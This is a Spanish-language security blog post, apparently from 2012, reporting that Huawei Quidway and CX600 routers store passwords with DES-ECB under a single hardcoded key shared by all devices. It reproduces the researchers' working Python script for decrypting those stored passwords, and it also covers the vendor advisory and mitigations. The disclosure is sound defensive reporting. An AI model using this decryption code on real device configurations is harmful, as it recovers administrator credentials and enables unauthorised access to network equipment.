jueves, 15 de noviembre de 2012

Cifrado débil de contraseñas en productos Huawei


Huawei es un fabricante chino de equipos destinados a la gestión de redes y telecomunicaciones, aunque últimamente están adentrándose en el mundo de los smartphones y las tablets. Se ha descubierto que cifra las contraseñas de los productos de manera muy débil.

Hay diferentes maneras de almacenar contraseñas por parte de los dispositivos y sistemas. Una muy común es utilizar un hash de la contraseña. En el momento de verificar si un usuario es quien dice ser, a la contraseña introducida se le aplica la misma función hash que se usó a la hora de su almacenamiento. Si la cadena resultante es igual a la almacenada, se valida. Con este sistema no se guarda la contraseña en claro en ningún momento.

También es muy común usar "sal" para generar estos hashes. Así, una de las entradas de la función hash sería la clave y otra la "sal", (que sólo se trata de ciertos bit aleatorios). Con esto se consiguen mitigar la eficacia de los ataques por diccionario.

Huawei no usa ninguno de estos métodos. El problema, descubierto por Roberto Paleari e Ivan Speziale reside en que los dispositivos usan un cifrado simétrico (algoritmo DES) con una misma clave de cifrado compartida entre todos los dispositivos ('\x01\x02\x03\x04\x05\x06\x07\x08'). No se trata de una vulnerabilidad como tal, sino de un fallo de diseño por parte del fabricante por usar contraseñas comunes y no aleatorias para cada dispositivo.

Los investigadores han publicado este código en Python para extraer las contraseñas en claro, llamando a la función 'decrypt_password'

from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24

    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 1])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 2])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y       & 0xff)
        out[j+1] = chr((y>>8)  & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3

    return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)

    r = r[:16]

    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)

    return r.rstrip("\x00")


El algoritmo de cifrado usado es DES con ECB (Electronic codebook), que es el método más simple al usar el algoritmo DES.

En primer lugar el algoritmo transforma los caracteres ascii de la contraseña cifrada a binario (función ascii_to_binary), y posteriormente se queda con los 16 primeros bytes, eliminando el resto.

A continuación aplica el descifrado del algoritmo DES en modo ECB con la clave \x01\x02\x03\x04\x05\x06\x07\x08 y elimina los caracteres NUL del final de la contraseña.

El error ha sido confirmado en los productos de la familia Quidway y en los CX600 (routers y switches), aunque puede existir en más productos afectados.

En el comunicado oficial delfabricante se recomienda, como remedio temporal, limitar el acceso a los routers a los usuarios dentro de la red interna, gestionar estrictamente los privilegios de las cuentas y cambiar las contraseñas con regularidad.

El fabricante ha asignado la referencia Huawei-SA-20120827-01-CX600 al fallo.

Más información:

Seclists.org - Weak password encryption on Huawei products

Huawei - Updated Security Advisory on the Risk of Password Being Cracked Due to DES Encryption Algorithm


Antonio Sánchez

No hay comentarios:

Publicar un comentario en la entrada